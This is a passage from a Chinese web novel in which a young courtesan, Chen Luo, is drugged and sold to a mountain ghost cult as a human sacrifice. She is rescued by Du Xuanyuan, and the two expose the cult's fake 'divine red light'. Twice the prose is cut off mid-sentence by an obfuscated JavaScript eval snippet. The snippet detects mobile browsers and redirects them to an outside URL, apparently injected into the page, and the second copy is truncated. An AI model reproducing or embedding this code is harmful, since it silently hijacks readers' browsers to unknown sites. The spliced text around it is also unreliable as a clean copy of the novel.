陆栖筠看到她的眼泪，忍不住一愣，随后点头，“当然，你只要勤学不辍。” “勤学不辍……若是这样，日后有一天，我也能读懂《大宴刑统》吗？” 陆栖筠点头。 陈荦很想告诉陆栖筠，她不过是个娼妓。但话在喉头滚了数圈，又咽了回去，她不想破坏自己在他心目中的形象，就想让他一直当自己是城中一个普通的小女子。陈荦突然又想到杜玄渊，想到他看她的眼神……她生来如此，又有什么办法？ 陈荦：“谢谢你送我的笔墨和纸砚。我过去曾听街边的算命先生说过，一字千金。你教给我那么多字，我欠了你好多千金。” 陆栖筠哈哈大笑，示意她擦干眼泪，“那以后有机会再慢慢还我好了。” 陈荦胡乱将眼泪擦去，扯出 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村舍学堂不会再有陆栖筠了，自小一起长大的清嘉也即将随她的未婚夫婿离开苍梧城。陈荦望向麦田外茫茫青山，心里只剩下一片萧索。 ———— 陈荦在麦田处呆呆地站立了许久，才藏好笔墨纸砚，垂头丧气地走回蕉叶阁。 在城门口，有个仆从模样的男子拦住了她。 “你是叫陈荦吧？” 陈荦警觉地看着他，点点头。 “有人叫我把这个包袱给你。”说罢将一个素色的包裹递到她跟前。陈荦愣了一下，没有伸手接。 “谁给的？” 那人不耐烦道：“你赶紧接着吧，叫我来的人没有说名字。我只负责送东西，也不知道他是谁。你要不要？不要我就还回去了！” 陈荦疑惑地接过包裹，打开一角。突然看到里面是好几本装订精良的册子。《大宴刑统》？她眼睛一亮，她已经从陆栖筠处认得了这几个字。 她欣喜地解开包袱，真的是此前一直心心念念的东西！ 这一摞共有五册，纸张柔软温润，用丝线装订得一丝不苟。翻开书页，里面文字清晰端正，无一处多余墨点。这一摞抱在怀里，书册间散发的清新墨香很快便笼罩了她。《大宴刑统》原来长这个样子！就是这些书册，救了她和韶音的命。 “这是，这是……”陈荦激动得语无伦次。 那人见任务完成，也不管陈荦如何喜不自胜，转身回原地领赏去了。 陈荦将那书册紧紧搂在怀里，想起蕉叶阁后院的萧萧翠竹，只有陆栖筠知道她想要这个，一定是陆栖筠送给她的！她欣喜一阵，转身向城北走去。她要把律册跟笔墨藏在同一个地方，以便时时回去翻看。 19.十九章 七月流火。 苍梧城依旧人潮熙攘，热闹非凡。可就连城中的贩夫走卒都注意到，城中好像即将要发生什么大事。自月初起，节度使衙的官兵在各隘口及城门处严控出入，核查路人身份。州府雇用上千民工，将城郊通往南北的驰道修复一新。就在苍梧城的中心，修起一座巍峨高台。那高台自去岁动工，至今落成，耗钱不止千万。每日从外围走过的城中小民们津津乐道，不知此台作何用处。 陈荦她们三个却没有闲暇注意这些。清嘉和祖方受的恋情给三个人的生活带来了极大变化。祖方受替清嘉赎了身后，当即就写了聘书，下了聘礼。清嘉将她们三个人住的屋子装扮一新，给韶音和陈荦裁了四季穿的新衣裙，甚至将那聘礼的一半分给了她们俩。韶音用了些手段去考验那祖方受，怕他不是出自真心，骗了清嘉。考验了数次，那祖方受确实是个踏实性子，待清嘉全然是一片赤诚之心。韶音终于同意清嘉和他离开苍梧，回江淮成婚。 清嘉不再住申椒馆，住到了城中孙方受赁居的院子，却每日都抽空回到馆中来陪韶音和陈荦。这一段奇遇，使清嘉变得大方明媚，原本美艳的脸庞仿若渡上一层珠玉般的光泽。 韶音开始传授给清嘉，如何做一位相夫教子的贤妻。她没有嫁过人，却天然懂得这些。陈荦默默地想，是因为韶音也做过这样的梦吧。幸好有清嘉，替她实现了。 她每日依旧马虎潦草地去蕉叶阁练筝，偶尔偷溜到城北，期待还能在那里见到陆栖筠。可陆栖筠再也没出现过，他是真的离开了。 清嘉和他的未婚夫婿离开的那日，陈荦和韶音一直将他们送到十几里远的城外。站在高岗山看着他们的马场离去，直到看不见马车，韶音才哭出声来。 她忍不住抱住陈荦：“楚楚，楚楚，我好高兴。你若是也能找个好归宿，我这一辈子就圆满了。” 陈荦在山岗的夕阳下打量韶音，才发现她是真的不再年轻了。眼角堆起细纹，脸庞爬出细碎的斑点，用厚厚的铅粉遮住，反而有种欲盖弥彰的浑浊。陈荦心里一疼，紧紧搂住韶音。 陈荦苦涩地想，她跟清嘉不同，她长这么大，从没有让韶音满意过，没有让她像这样高兴得流泪过…… 可她要怎样做才能成为另一个清嘉？ ———— 苍梧城中的街边有许多卦摊。 陈荦将好些不认识的字抄写在纸上，到卦摊上去请教那些摊主术士。没人上来卜卦看相时，无聊的摊主也愿意愿意和她随便搭两句话。陈荦便在人家随口搭话时开口请教，飞快记住那些字的意思。 陆栖筠走后，这件事成了她唯一的乐趣。 陈荦不敢靠近那城北麦田的村塾，怕被那古板的老夫子呵斥。可卦摊上这些江湖术士多半却十分平易近人，只要多搭上两句话，便能像陆栖筠一样，告诉她那些字的意思，再多说两句，还能告诉她下笔的顺序。陈荦为自己的这一发现得意了半响。 那日，她早早就从蕉叶阁中辞别了师傅，满街寻找着熟悉的卦摊。 她刚在桥头一个卦摊前坐下，鸨母四娘身边的侍女匆匆寻来。那侍女看陈荦竟坐在一个卦摊前，怀里揣着些不知哪来的纸张，便上来一把抢过那些纸，“唰唰”撕掉。 陈荦不敢抢回来，若是让四娘知道她偷学认字，坏了馆中规矩，定少不了一顿打，可能还会波及韶音。 好在那侍女以为陈荦只是贪玩。她匆匆扯起陈荦，要她回去，四娘正让成衣匠给馆里的女子量体裁衣。 后园花厅里，四娘看到陈荦，先是逼问她：“你是不是瞒着我和你姨娘，私自外出了？” “没有。我自蕉叶阁中习艺回来，路过那里。” 陈荦回答得斩钉截铁，为了不让她起疑。 “你赶紧过来。”四娘一把扯过她。 裁衣的师傅便拿着软尺围着陈荦量起来。 “对了，你的好姐妹清嘉今早让人传信到馆中来。说是十分不适应路上车马颠簸，要你姨娘去陪陪她。” 陈荦一愣。 四娘白她一眼，不耐烦地解释：“她跟了那祖公子，现在身份已跟你们不一样了，金贵得很。为免她有点什么闪失，你姨娘已经跟去了，送她到半路再回来。” 陈荦知道韶音很舍不得清嘉，她跟去再陪陪她也好。 四娘严厉地看着陈荦，“这几日，你姨娘不在，你可给我安份点！我得替她看着你！” “是，四娘。” 陈荦从花厅回到她们的屋子，韶音果然不在。陈荦打开床褥下的暗格，清嘉送给她和韶音的财物整整齐齐地码在那里。 韶音还能再陪清嘉一阵，可她，这辈子不知还能不能再见清嘉。不过几日不见，她心里已经很想念她了。陈荦默默盖上暗格，将眼里的湿润眨回去。 第二日，她照常出门去蕉叶阁。几天后的一个傍晚，陈荦从外面回来时，有个相熟的姨娘过来串门，递给她一杯热茶。陈荦看是熟人便没有多想，接过来喝了下去。 热茶下肚的瞬间，她隐隐感觉到了不对劲。想起那日在四娘的花厅里，除了四娘和裁缝，还有几个奇怪的生人…… 一阵混沌之意突然袭来，陈荦来不及多想。她的最后一个念头是，韶音到底去哪里了？之后便再无意识，悄无声息倒在了床榻上。 陈荦醒过来时，发现自己被关进了一间简陋的屋子。透过狭窄的窗，竟然看到不远处有起伏的山丘。 脑袋清醒过来的瞬间，陈荦便立刻想到。她被鸨母和那个姨娘骗了。鸨母叫她去量体裁衣乃是另有目的，而姨娘递给她的那杯热茶里有致人昏迷的东西。 苍梧城中没有这样的山，她这是被骗到哪里了？ 陈荦看在屋里走动，屋外守着的人便听到了声音。打开门看到陈荦醒过来没有哭闹，又将门关上继续守在了屋外。 怎么回事？ “你们是什么人？放我出去！” “如今城中正在清查人口，若是被官府知道有人私自拘禁城民，定要问罪的！” 屋外不为所动，陈荦心里大急，凑近狭小的窗口又朝外面说道：“你们若是想要钱财，将我放出，或者给我姨娘带信，她一定会拿着赎赎金来的！” 屋外看守的人不为所动。 陈荦沮丧地退回小床上。屋漏偏逢连夜雨，她还真是命途多舛啊。难道是贩卖女子的歹徒？ 晚间，有人打开门送来了饭菜。陈荦仔细地看那人的着装和屋外的一切，觉得这里实在不像是人贩子窝点。陈荦百思不得其解，别人既不是想要她的性命，那菜饭便不至于有毒。陈荦想留点力气活下去，便草草吃了几口。 饭后，她又沉沉地睡了过去，这一觉不知睡了多久。等陈荦再次醒来时，已经分不清时间了。她只明白了一件事，那饭里有东西，跟姨娘递给她的那杯茶水一样。 之后，再有人送饭来，陈荦便不吃了。 她长时间不进食，被看守人发现后，引起了外面的一阵骚动。直到听到有人小声说话，陈荦觉得非常耳熟。 回忆再三，陈荦猛地想了起来。在山神庙中被人陷害那一次，那些歹人说话就是这样的音调。此处虽属苍梧地界，然距离苍梧城已数百里远，且地方偏僻群山环绕，住着不少靠山吃山的村民。 陈荦一直被关到了月圆之夜。 那一夜满院辉光，有两个村妇来到屋子。强行给陈荦灌下一些稀粥，把她扶起来连夜装扮，给她穿上鲜艳繁复的大红喜裙。直到此时，陈荦终于猜到了大概，她是被四娘当个物品给卖了。那天叫她去裁衣， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015464|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是找个借口给人相看…… 那鲜红如血的嫁衣和口脂，将陈荦晃得浑身战栗。月夜出嫁，难道是要将她配冥婚吗？ 她浑身使不上力来，只能像提线木偶般任人摆弄。 被人扶着出了圈禁的院子，陈荦看到漫山遍野都是打着火把的村民，好似在等待着什么。她还未来得及看清，便被旁边的婆子盖上盖头，将她扶进了一顶轿子。 陈荦长这么大，除了陪韶音去蜀中那一次，从未出过苍梧城。这里离苍梧城实在太远，她是买来的商品，完全陷入了一个陌生的任人摆弄的世界。 月夜下一声震天的锣响，遥远的队伍中响起了巫师吟唱的声音。那声音穿云裂石，百转千回如同地狱之鬼，陈荦被困在一方小轿中，听得浑身得血液都凝住了。这难道就是百鬼夜行的山中地府吗？ 待稍微恢复些理智，陈荦便想起来。苍梧地界既有平畴沃野，也有千岩万壑。在离苍梧大城很远的山区，教化不至，神鬼之说盛行…… 想到配冥婚，陈荦几乎绝望。想要鼓起力气爬出轿子，身体却越急越软弱。 不知过了多久，身下的喜轿轻轻一滞，陈荦用仅有的力气揭下盖头。“谁？” “别说话。”来人一把捂住陈荦的口鼻。“我救你出去。” 是她相识的声音，此时在那渗人肌骨的巫鬼吟唱声中听来如听天籁。陈荦轻轻惊呼：“杜玄渊？” “嗯？” 杜玄渊掀开红纱盖头，借着轿外满月的辉光和漫山遍野的火把才看清楚，轿中之人竟然是陈荦。他此前已从粟丰县陆秉绶的判书上得知了陈荦的名字。 此时情势不容过有失，杜玄渊生怕陈荦出声惊动外面众人，还是手指抵住她的嘴，一边用最简短的话告诉陈荦。“此地名为九幽山。自山神庙失事后，公子一直暗中派人彻查。此地鬼教盛行，七月十五月圆之夜，是本地的祭鬼大典。你是他们买来的神女，要与牛羊金帛一起，献给鬼王的。” 真的是冥婚？陈荦瞪大了双眼，示意他放开钳制自己的手指，但杜玄渊不为所动。“你别出声，到那九幽天坑之前，自会有人救你出去。” 神女祭鬼，九幽天坑？陈荦简直懵了，这里虽然还是人间，但跟她刚才想的地狱有什么区别。 陈荦心急如焚，冲杜玄渊摇头，意思是她现在没有力气，就是被救也不能逃跑。 杜玄渊眼神一黯，他疏忽了。怎么没想到那些顽劣的山民怕神女反抗而下了药物。他瞬间镇定下来，当即决定，救出陈荦之后，派一位将士先将她带出去。 “此地不宜久留，你先静心修养，积蓄力气。会有人保你性命的。” 喜轿由七八个村民抬着，陡然加了杜玄渊这么个人，时间一长必被察觉。杜玄渊将红纱盖头放到陈荦手里。陈荦只感到轿子轻轻一颤，杜玄渊已悄无声息地钻出去了。 杜玄渊和他的兄长不是商贾。陈荦此时可以断定，再多家大业大的商贾，都不会来管这山壑里鬼教的事。 杜玄渊到底是什么人？ 陈荦来不及多想，她掀开喜轿的窗纱，让风吹到自己脸上。随后将手指放到齿间，狠命一咬，一股鲜血流淌而出，指尖钻心的疼痛让她瞬间清醒了不少。 陈荦被人抬着山的深处走，明明是清辉朗照的月圆之夜，她却觉得喜轿中越来越昏暗，越来越模糊。鼻端闻到纸火焚烧的味道，还有一股夹杂着陈年腐臭的湿气。她感到奇怪，再次掀开窗纱，喜轿之外，不知什么时候起了大雾，弥天漫地。头顶的月亮彻底看不见了，四周的火把这时才以熊熊之势燃将起来，如同幽冥鬼火。 大雾溟濛，火焰如舌。此情此景，若不是指尖还留着方才咬破的伤口，陈荦几乎要怀疑，她是不是还活着，杜玄渊方才是不是来过。 20.二十章 遥远的地方，鬼巫的吟唱换了声调。 身下的喜轿蓦地一停，就在陈荦不知发生了什么，伸手掀帘向外张望时。一双武人的手猛地抱住她，将她扯出了轿外。 陈荦在一瞬间被摔得晕头转向，唯一的念头是死咬住牙关，绝不发出声音。鬼巫的吟唱没有停，牛角吹奏的呜咽声震得视线里的火把摇曳不止。牛角呜鸣之后，送祭的队伍继续往深处走。 陈荦被摔晕过去片刻，在山石后的草丛里苏醒过来，发现自己得救了！有位身手了得的武人利用停轿的短暂时间，救出了她。 但不知那人怎么样了？ 陈荦手脚发软，浑身丝毫不敢动弹，伏在潮湿的草丛里。直到送祭的队伍走远，才试探着站起身来。 浓雾弥漫，脚下草丛又湿又黏，草丛间时而闪烁着萤火。苍梧城中多虫蚁，可陈荦从未见过形状和亮光这样怪异的飞虫，不由得毛骨悚然。 “姑娘，请噤声，速速跟上我。” 陈荦这才看清她旁边还有个军士。再走近点，她便认出了他，他是杜玄渊身边的人。山神庙和地窖救人之时，他也在的。 “多谢你了。” 那人找了根棍子，让陈荦抓住另一端，然后引着陈荦摸索着向山下走去。 奉杜玄渊之命护送陈荦下山的是位中年军士，他年轻时曾在军中专司地形勘察。此时牵着陈荦谨慎地走着，却发现原来的路不见了。 此时已过子夜，离天明却还有几个时辰。但这山中秘境，连月亮都看不到，能不能看到晨光还另说。 两人只觉得头顶有千岩万壑，脚下丛林杂草，怎么都看不清前后的方位。 陈荦主动撕下一块裙角，扯成布条，系在显眼的地方沿路作记号。可是没用，此处被那些山民走过后，奇怪地成了一片混沌之地。 军士这辈子从没有遇到过这样令人骇然的秘境，他回头嘱咐陈荦：“跟紧我，别走丢了。” 他没有听到回音，棍棒那端陡然一轻，被他轻易举了起来。抓住另一端的陈荦已经不见了踪影。 陈荦在浓雾中走着，试图低下头去寻找草丛中系上的红色布条。她什么都没有找到，低头之时，腐烂的气味薰得她头晕欲呕。 一只长甲尖利的手在浓雾中伸向了陈荦后背，陈荦觉察到不对劲，猛地向前一扑。那手掌抓了个空。前方的军士不知何时走散了。陈荦恢复了些许力气，从草丛里爬起来。 鬼教，天坑，神女祭山。陈荦的脑中不停闪过无数念头，她顾不得脚下踩到什么，拼尽全力向前逃去。 这里名叫九幽山，背后追逐她的，若不是人，便是鬼了。 那鬼手数次几乎要抓住陈荦，皆被陈荦躲过。陈荦拼命逃着，体内积攒起来的力气一点点流失。她宁愿相信这是一个噩梦，一觉醒来，还躺在韶音身边，什么都没有发生。 跑到双眼发晕之际，陈荦突然听到前方传来哗哗的流水声！有水流，便能流出这幽冥鬼地！好过被这鬼手抓住送去当祭品。陈荦来不及再想什么，猛地吸了一口气，纵身跳进前方的深潭。 她闭着气，在水中寻找潭的出水口。 潭边的地势比她预想的要陡峭得多，她刚刚感知到水流的方向，正准备上浮换一口气，却被那向下的水势猛地一扯，将她冲了出去。 ———— 一百多年前，群雄逐鹿，天下大乱。九幽山一带渐次迁入大批避乱的难民。不知是哪一年，九幽山地界连续下了数月大雨。天雨不歇，山中无宁日。山崩水溃，引起数场翻腾不息的水蛟（注）。 某天夜里，数道雷暴滚过，将最高的那座山峰炸得粉碎，炸出个巨大的坑洞。据说，有人在睡梦中听到百鬼嚎哭，声凄力厉。醒过来的人们看到山神现出，孑然飞身，吞风吐雨。有位从战乱中逃出的农家少女，在众目睽睽中爬到坑顶，只身跳入了那九幽天坑。 片刻之后，天坑中显出耀眼的赤光，照彻九幽千山万壑。很快，持续数月的大雨止住了，头顶的天空瞬间云开雨霁。数日后，有巫师从九幽山中走出。人们据巫师的讲述，将那跳入天坑的少女封为神女。自那以后，神女祭山成了此地山中五年一度的大典。巫师所传的鬼教，在此地人人信仰，深入人心。 天不知不觉亮了。 满月之夜弥漫的浓雾不知什么时候尽数散去，散得悄无声息。杜玄渊躺在一块溪石上，是被山林间无名的风吹醒的。 就在昨日，他带着十名将士，避开此地村民的耳目，利用从平都携带的水靠游过一段布满青苔的深潭，从一处绝壁攀援而上，再用绳索坠落，进入了此地传说中天雷劈开，山鬼现出的九幽天坑。 神女祭山时天坑中现出耀眼赤光，送葬的村民人人得见。鬼神之事，李棠和杜玄渊都是不信的。此事必有由来。 李棠那次封了地窖之后，便派了人在此地明察暗访，直到近日，将神女祭山的恶俗查了出来。此地山民过了几十年太平日子后，不再用本地女子祭山。每逢祭山前夕，便到百里之遥的路口设伏，每遇年轻未嫁的女子路过，便设法将其抓来，扮作祭山的神女。初夏时，一群山民在山神庙中放迷烟抓陈荦，不巧被李棠撞破。 令人没想到的是，这些山民埋伏抓捕未婚之女未遂，眼看七月十五之期将近，竟然凑出钱财，到苍梧城中购买。不巧，陈荦因不被鸨母所喜，被她卖到了此处。 杜玄渊坐起身来，只觉得头疼欲裂。 这坑底有瘴气，他们提前料到了。没料到的是，月圆之夜正是瘴气最浓重之时。他们头上所系的特制罩巾，到最后也起不了作用。昨夜，杜玄渊自恃体力，从坑中出去了一趟，探得那喜轿中的神女是谁人之后，又从峭壁处坠回了坑底。 返回天坑之后，发生了什么，他已经十分模糊了。昨日随他一起进入这天坑中的十名将士，此时都已经走散。 怎会有如此厉害的瘴气？还能致人出现幻觉…… 杜玄渊定定地看着不远处的浅滩，无奈地想，若不是瘴气致幻，他为何会在那处看到一漂浮的红衣女鬼。 那血红的衣裙在水中飘散开来，如同一朵随水流动的幽冥之花。 若没有女鬼，那就真的有个人！杜玄渊瞬间清醒过来，拿起遗落在溪石后的玄铁剑，“铮”地一声拔剑出鞘，站了起来。 待那红衣随水流缓缓飘近了，杜玄渊觉得有一丝眼熟。 他走到绵软的滩涂处，用剑尖挑开覆盖面容的薄纱……看到一张熟悉的面孔。 竟是陈荦！杜玄渊吃了一惊，吃惊的不是陈荦如同红衣鬼魅，而是，陈荦没有被救出，不知为何漂到这天坑底来了。 头顶一缕日光穿过峭壁岩石的罅隙，照在陈荦苍白的脸上。 “咳咳——”陈荦的脸微微一动，蓦地呛出一口水，却没有醒过来。 杜玄渊双手伸至陈荦腋下，将她拖到干燥处。正准备蹲下来救人，陈荦眉头一皱，又呛了一口水之后，居然自己挣扎着醒了。 她被那缕晨光所炙，迷迷糊糊地睁开眼睛，映入眼帘的是一张陌生又熟悉的脸。这不会是幽冥地府吧？地府中怎么会有杜玄渊？ 陈荦磕磕绊绊地问道：“我这是死，死了吗？” 杜玄渊蹲在一旁：“你没死。陈荦，发生了什么？” 昨晚在那浓雾鬼境中一切像是从脑中闪过，像是做梦般恍惚。陈荦伸手搓去眼睫上的青苔，努力盯着杜玄渊的脸，好半天才确认自己真的活着。 “杜玄渊……” 她清醒过来，想起一件事。“昨夜既是神女祭山，那，代替我留在轿中被抬到祭坛的那个人，他在众目睽睽之下如何逃脱？他还活着吗？” 那人奉命救了她，若是他被扔进救幽天坑丢了性命，陈荦将余生不安。 杜玄渊神色沉重：“还不知道。” 按他的安排，陈荦此时应该已被送出山外，可她为何昏迷着出现在这天坑之中。 “陈荦，你快告诉我，昨晚外面发生了什么？” 陈荦还十分虚弱，一张脸白得不像真人。待两人分别说完昨晚发生的事，那张脸更白了，也不知道是吓的，还是病的。 陈荦：“难道这世上真的有鬼？你信鬼神之事吗？” 杜玄渊摇头：“不信。” 瘴气散去，杜玄渊现在恢复了体力，准备在这天坑之中一探究竟。神女祭山之时，那天坑之中大炽的赤光是怎么来的？他不相信真的是什么鬼圣显灵。 他不能抛下陈荦，便将她扶起来，准备找个安全的地方先安置她。 陈荦身上穿的嫁衣样式太过繁复，她走两步，沾满泥水杂草的外袍笨重地拖着脚步。陈荦将外袍脱掉，一下子轻便多了。 “我跟你一起去看看这天坑中有什么。为什么那些村民竟然忍心使用人祭。” 她恢复得比他想的要快。手无寸铁落入这天坑绝境，神气竟也没有多少颓丧。她虽然纤瘦，但并不微弱。 带着她虽然不免累赘，但最终还是要护着她出去的。杜玄渊思索片刻，默许了。 ———— 两人从滩涂处站起，往四周看去，便明白了九幽天坑因何而得名。 他们所处的地方，四周峰壑合围。峰顶尽是断崖绝壁，中间陷入地底，布满巨木深潭，仿佛真的是什么神鬼之力所致的巨坑。 这天坑太大，最远处的峰壑像是在几百丈之外一般遥不可及，近处的峭壁上则攀满了粗大的野藤。单凭目力，杜玄渊已找不出昨夜进入天坑的下坠之处。 脚下山溪是这一带的最低处。附近林木森然，地势嶙峋，一时竟看不出这溪水是从何处流出的。 杜玄渊和陈荦往四周找了许久，既没有人迹，也寻不到任何出去的路。无论走到哪里，入目都是林荫巨藤，峭壁深潭。天光微弱，甚至都察觉不到时日运转。人走在这样的天坑之中，真如猎物、祭品一般。这世间若没有鬼神，这天坑会让人忍不住叹息，造物的神奇之处竟至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈荦止住身子，慢慢回头，仔细一看，一根臂粗的藤蔓伸到了她背心处……她还未来得及动作，忽然光影一晃，杜玄渊已抽出剑将那藤蔓的一截斩断。那断截甩出好远，还在跳动…… “是，是蛇！” 陈荦反应过来，飞快横过手里做拐杖的树枝，连续挥棒敲在那动弹的蛇身上，将那蛇头击晕了过去。 “咦？”陈荦蹲下身来。 “怎么了？” 陈荦看清楚后，舒了一口气。“不用怕了！这是苍梧城中也常见的乌梢蛇，无毒。” 杜玄渊虽然喜爱狩猎，然而多在平都郊外的皇家围场狩猎。围场中有熊、鹿等大型野物，蛇却不多见。 他问：“你确定吗？这天坑密林中，最多的就是这种蛇。” 陈荦点头，“确定啊，苍梧城中官兵们有时会将这蛇穿入铁签，升起火堆烤着吃……”她忽然眼睛一亮，“啊，杜玄渊，我们找到吃的了！” “什么吃的？” 陈荦指着地上：“就是它！” 吃的不会是这蛇吧？那还在扭曲蠕动的蛇躯？ 陈荦用棍子将那蛇彻底敲死了，捡起来到不远处的溪水中涮洗。然后摘来宽大的树叶，将蛇包了起来。杜玄渊看得脚底生寒。他实在费解，她一个长于行院的小妓，哪来的胆子，敢把一条难看得要死的蛇拿在手里…… 傍晚，天光迅速昏暗下来。两人走了一天，几无收获。勉强找了个干燥的山洞暂时栖身。 杜玄渊将火升起来，唤陈荦到火堆旁将衣物烤干。男女有别，为免陈荦不便，杜玄渊自觉走到洞口，察看这一带的地势，把洞里的空间留给陈荦。 身体再强健，连日奔波也不免乏累。杜玄渊在洞口找个干净的地方坐着，不知不觉竟有了点疲困之意。 不久，陈荦从洞里走出来。 “喏！你要不要？” 杜玄渊看到陈荦已经把那蛇烤了。穿在一根细长的树枝上，这会儿正滋滋冒油，已辨别不出原来的样子。 他怎么可能咽得下那恶心的蛇躯？杜玄渊一阵头皮发麻。 “不要。” 陈荦看他一脸嫌弃，可见是害怕这蛇。若是这蛇还活着，她也食不下咽。可他们已经一天没有吃东西了，又不知什么时候能出得去。想到这她耐心劝道：“我不是跟你说了，苍梧城中的官兵们都吃过的，这蛇真的没毒！刚才我已经咬了好几口，不是没事吗？” “没有弓箭，这天坑里难猎到野物，肚子太饿就什么都干不成了。我也是第一次，这蛇肉的口感吧，有点像是……” 杜玄渊不可能吃得下那蛇肉，打断她：“陈荦，你别说了，我不要。” 陈荦虽然也不太好受，但不能不吃。比起那酸苦的果子，她宁愿吃这个，味道不仅不坏，吃了还多点力气。 杜玄渊朝她挥手，“你你进去吃。”他见不得一点陈荦手上那黑不溜秋的肉段。 “你真的不要？” “绝不。” 明明杜玄渊也饿着肚子，看来杜玄渊是铁了心要委屈肚子。 “好吧”陈荦撇撇嘴，转身走进洞里。她差点忘了，杜玄渊身份高贵，大概宁愿饿死了也不吃蛇这种难看的东西。 杜玄渊从怀里摸出几颗方才摘来的果子，忍着酸苦嚼开吞了下去。吞到第二个，实在受不了那味道，又从嘴里吐了出来。 陈荦看他矫情逞强，在心里翻了个白眼。爱吃不吃！饿死他算了。 21.二十一章 天坑本就幽暗，夜晚很快就降临，洞外的天黑得彻底。 陈荦从洞外找来干草和树叶，铺在火堆旁。想休息片刻，却怎么也无法安下心来。白天时杜玄渊跟她说，若是其他下属找到出去的路，必会返回来寻他们。可两人在这天坑中找了一天，什么都没有遇到，其他人……都遭遇不测了吗？陈荦不敢想。 她能感觉到杜玄渊的焦躁。杜玄渊让她在洞中歇息，自己一直在洞外查看。可这么幽黑的夜晚，能看到什么。 陈荦听到洞外好像有动静，便起身出去看。杜玄渊果然没有闲着，借着洞内的火光，找了一块平地练起了功夫。他身型急转腾挪，手中那把长剑切割着林间传来的风声，呜呜作响。 陈荦不解，他是昏头了吧？什么都没吃，还在这里浪费力气。 第二天，杜玄渊和陈荦走出山洞不久，突然闻到一股奇特的味道。这股味道似有若无地飘在风中，绝不像这天坑中草木的气息。 会不会是其他将士留下的信号？两人循着那味道四处寻找。 陈荦突然想起来，这是苍梧城中每逢年节时放完焰火后满地灰屑的味道！ 杜玄渊听她一说，繁杂的头绪瞬间打开了一个出口。传说中九幽天坑显现的赤光，难道就是焰火燃烧？ 陈荦：“难道有人会提前坠入这天坑之中，给那些山民放焰火？” “这天坑如此之深。”杜玄渊迟疑，“就是平都城上元之夜鸿胪寺所制的焰火，燃起来也到不了这个高度。这坑中又有林木、巨石遮挡，山外的祭台如何看得到火焰？” 他说得有道理。就是只用肉眼看，普通的焰火再高，也高不到天坑的一半。神女祭山时，坑外那些山民是如何看到的？ 此外，陈荦还默默地想。杜玄渊那么熟悉平都城，他果真是从平都城中来的，他说的鸿胪寺是什么地方？他到底是什么人呢？平都城上元节的焰火，会比苍梧城中还要壮观吗？ “这味道加重了。” “跟我来！”杜玄渊一把拽住陈荦的手，扯着她沿着脚下的嶙峋山石往上爬。陈荦右手差点被给他扯脱节。 “我手快被扯断了，你你你还是放开吧，我会拼命跟上你的！” 杜玄渊回头看陈荦，看到她满头长发被山风吹得凌乱，裹住一身鲜艳红衣，复又想到她的身份，尴尬地松开了手。 两人手中没有器具，费了极大力气，终于在午后日光最强之时，攀到位于半山一座巨石。那巨石三侧悬空，只有一侧吸附岩壁。好似飞来之石，悬浮于半山。一眼看去令人心旌摇动。 就在那巨石之上。杜玄渊和陈荦发现了人到过的足迹，以及满地厚厚的尘屑。就是那厚厚的尘屑被风所扬，散发出了类似焰火的气味。但细闻却又跟年节时所放的烟火气味有所不同，该是某类比焰火还耐燃的矿物。 原来这就是天坑赤光的秘密！ “原来如此！可是，这里离四周合围峭壁高处，还是很远。” “杜玄渊，我知道了！我们等夜半起雾之时再看如何？” 杜玄渊装了一袋尘屑，他还想再找找出去的路，可看陈荦明显体力不支，便退回山脚，找了一个干燥背风之地修整。 当晚夜半，天坑底漫起粘稠的大雾。陈荦和杜玄渊燃起一堆柴火，走到百米之外的地方再看。那浓雾将火光透成一种奇异瑰丽的赤色。百米之间，赤光氤氲，如梦似幻，真如同鬼圣显灵。 月圆之夜雾气最浓，在那巨石之上点燃数量巨大的矿物。那浓雾透射的赤光必然比这要瑰丽奇异百倍。山外祭台之处，只要视线无遮挡，都能看到炽盛的赤光。这就是鬼教令九幽山地界无数山民顶礼膜拜的秘密！ 鬼教巫师定然是在百年前洞察了这个秘密，便利用那次异常暴雨和山民愚昧，欺骗于人。月圆之夜行祭山大典，赤光大盛如同鬼圣显灵，致使鬼教在本地深入人心，人人信仰。除了神女之外，每次祭祀用的金银财帛，最后定然都用悄无声息地转移到了鬼巫的口袋。 所谓鬼圣显灵，不过是居心叵测之人借助造化之力，愚弄人心！ 鬼圣显灵的传说在百年前就有了，神女祭山的习俗也已经延续了多年。在陈荦之前，被封为神女生祭的那些女子，何其无辜。陈荦想到这天坑之中无数少女的白骨冤魂，彻骨的寒意从脚底升起，蔓延全身，站在浓雾里冷得牙齿格格作响。 这火光在夜半燃起太过显眼，若招来鬼教巫师的手眼，以现在的处境定然十分麻烦。杜玄渊拉起陈荦，走过去将火堆扑灭，返回昨夜的山洞中栖身。 已近午夜，狭小空旷的山洞中柴火哔剥，火光腾起暖意，抵挡住了洞外的寒气。杜玄渊和陈荦两人却都没有睡意，一人占据火堆一旁，盘着腿各怀心事地坐着。 陈荦把申椒馆的买卖和神女祭山的事来来回回想了许久，忍不住问杜玄渊：“你说，明日我们能找到出去的路吗？” 杜玄渊：“明日必须要出去。” 这人说话总有种无形的狂傲自大。陈荦忍不住看了杜玄渊一眼，他今天也只吃了那酸苦的野果，这一带只能辨认出那种果子能吃。 “如果出不去……” “找不到原路，就只有试试水路。” “可我全然不知自己是如何随水流来这坑底的，那晚什么都看不清楚，我跳进潭水，是怕背后的鬼抓住我。唔，现在想来，那人该是鬼教巫师的同伙。 “为什么，这两日都没有遇到随你一起来的十位同伴？这天坑如此竟如此诡异么，他们应该没事吧……” 她一句话戳到了杜玄渊心里正在想的事。若是因他决策失误，在这天坑之中损了李棠身边的十名精锐，那就是他的罪过了…… 杜玄渊盯着那火光，没有回答。 陈荦看他神色十分不好，有些后悔自己失言，她不该在这种命都难保的绝境提起他亲近之人。便挑开话题道：“杜玄渊，你从前来过苍梧吗？见过苍梧城中放焰火吗？” “什么焰火？” 